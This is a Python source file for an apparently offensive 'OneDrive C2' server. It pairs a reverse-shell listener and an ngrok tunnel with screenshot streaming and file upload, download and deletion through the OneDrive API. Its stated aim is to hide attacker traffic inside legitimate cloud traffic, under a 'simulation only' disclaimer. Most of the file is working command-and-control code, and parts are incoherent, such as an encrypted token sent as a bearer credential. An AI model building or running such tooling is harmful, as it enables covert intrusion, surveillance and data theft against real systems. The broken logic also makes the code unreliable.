Files
2024-09-02 09:52:17 -04:00

196 lines
8.1 KiB
Python

# This script integrates OneDrive API functionality to facilitate communication between the compromised system and the attacker-controlled server, thereby potentially hiding the traffic within legitimate OneDrive communication.
# This C2 is for simulation only and is still under development
# pip install -r requirements.txt
# python3 OneDrive.py
# Author: S3N4T0R
# Date: 2024-4-9
# Disclaimer: it's essential to note that this script is for educational purposes only, and any unauthorized use of it could lead to legal consequences.
import subprocess
import sys
import time
import threading
import socket
import base64
import os
import pyautogui
from pyvirtualdisplay import Display
import random
import shutil
import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
BLUE = '\033[94m'
RESET = '\033[0m'
print(BLUE + """
██████╗ ███╗ ██╗███████╗██████╗ ██████╗ ██╗██╗ ██╗███████╗ ██████╗██████╗
██╔═══██╗████╗ ██║██╔════╝██╔══██╗██╔══██╗██║██║ ██║██╔════╝ ██╔════╝╚════██╗
██║ ██║██╔██╗ ██║█████╗ ██║ ██║██████╔╝██║██║ ██║█████╗ ██║ █████╔╝
██║ ██║██║╚██╗██║██╔══╝ ██║ ██║██╔══██╗██║╚██╗ ██╔╝██╔══╝ ██║ ██╔═══╝
╚██████╔╝██║ ╚████║███████╗██████╔╝██║ ██║██║ ╚████╔╝ ███████╗ ╚██████╗███████╗
╚═════╝ ╚═╝ ╚═══╝╚══════╝╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚══════╝ ╚═════╝╚══════╝
""" + RESET)
# Function to get attacker information
def get_attacker_info():
attacker_ip = input("Enter the IP address for the reverse shell: ")
return attacker_ip
# Function to encrypt access token
def encrypt_access_token(token):
key = input("Enter your AES key (must be 16, 24, or 32 bytes long): ").encode()
if len(key) not in [16, 24, 32]:
print("Invalid key length. AES key must be 16, 24, or 32 bytes long.")
sys.exit(1)
cipher = AES.new(key, AES.MODE_ECB)
token_padded = pad(token.encode(), AES.block_size)
return base64.b64encode(cipher.encrypt(token_padded)).decode()
# Main function
def main():
# Get attacker info
access_token = input("Enter your OneDrive Application (client) ID: ")
secret_id = input("Enter your OneDrive Secret ID: ")
ip = get_attacker_info()
port = input("Enter the port number for the reverse shell and ngrok: ")
print("Starting ngrok tunnel...")
# Update to use ngrok tcp command with the port specified by the attacker
ngrok_process = subprocess.Popen(['ngrok', 'tcp', port])
time.sleep(3) # Give ngrok some time to establish the tunnel
access_token_encrypted = encrypt_access_token(access_token)
# Define headers for OneDrive API
headers = {
"Authorization": f"Bearer {access_token_encrypted}",
"Content-Type": "application/json",
"User-Agent": "OneDrive-API-Client/1.0",
"Connection": "keep-alive",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9",
"X-Drive-Client-Secret": secret_id # Add secret ID to headers
}
# Create socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((ip, int(port))) # Bind to the port specified by the attacker
s.listen(1)
print("Waiting for incoming connection...")
client_socket, addr = s.accept()
# Start shell
shell = subprocess.Popen(['/bin/bash', '-i'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
# Start display
display = Display(visible=0, size=(800, 600))
display.start()
# Create sessions dictionary
sessions = {}
session_counter = 1
# Main loop
while True:
command = input("Enter a command to execute (or type 'exit' to quit): ")
if command.lower() == "exit":
break
time.sleep(random.uniform(1, 5))
result = subprocess.run(command, shell=True, capture_output=True, text=True)
stdout = result.stdout
stderr = result.stderr
client_socket.send(command.encode())
client_socket.send(stdout.encode())
client_socket.send(stderr.encode())
if command.lower() == "screen":
session_id = str(session_counter)
session_counter += 1
sessions[session_id] = {"socket": client_socket, "display": display}
print(f"Started screen session {session_id}")
screen = pyautogui.screenshot()
screen_data = base64.b64encode(screen.tobytes()).decode('utf-8')
client_socket.send(screen_data.encode())
while True:
try:
screen = pyautogui.screenshot()
screen_data = base64.b64encode(screen.tobytes()).decode('utf-8')
client_socket.send(screen_data.encode())
time.sleep(0.1)
except KeyboardInterrupt:
print("\nScreen session ended.")
break
elif command.lower() == "upload":
file_path = input("Enter the path of the file to upload: ")
file_name = os.path.basename(file_path)
with open(file_path, "rb") as f:
file_data = f.read()
url = "https://graph.microsoft.com/v1.0/me/drive/root:/" + file_name + ":/content"
response = requests.put(url, headers=headers, data=file_data)
client_socket.send(response.text.encode())
elif command.lower() == "download":
file_path = input("Enter the path of the file to download: ")
url = "https://graph.microsoft.com/v1.0/me/drive/root:/" + file_path
response = requests.get(url, headers=headers)
with open(os.path.basename(file_path), "wb") as f:
f.write(response.content)
client_socket.send("File downloaded successfully.".encode())
elif command.lower() == "get":
file_path = input("Enter the path of the file: ")
url = "https://graph.microsoft.com/v1.0/me/drive/root:/" + file_path
response = requests.get(url, headers=headers)
client_socket.send(response.text.encode())
elif command.lower() == "remove":
file_path = input("Enter the path of the file to remove: ")
url = "https://graph.microsoft.com/v1.0/me/drive/root:/" + file_path
response = requests.delete(url, headers=headers)
client_socket.send(response.text.encode())
elif command.lower() == "add":
folder_path = input("Enter the path of the folder to create: ")
url = "https://graph.microsoft.com/v1.0/me/drive/root:/" + folder_path
data = {"name": folder_path.split('/')[-1], "folder": {}}
response = requests.post(url, headers=headers, json=data)
client_socket.send(response.text.encode())
elif command.lower() == "list_folder":
folder_path = input("Enter the path of the folder to list: ")
url = "https://graph.microsoft.com/v1.0/me/drive/root:/" + folder_path + ":/children"
response = requests.get(url, headers=headers)
client_socket.send(response.text.encode())
else:
client_socket.send(stdout.encode())
client_socket.send(stderr.encode())
# Close sockets and display
client_socket.close()
s.close()
display.stop()
# Terminate ngrok process
ngrok_process.terminate()
if __name__ == "__main__":
main()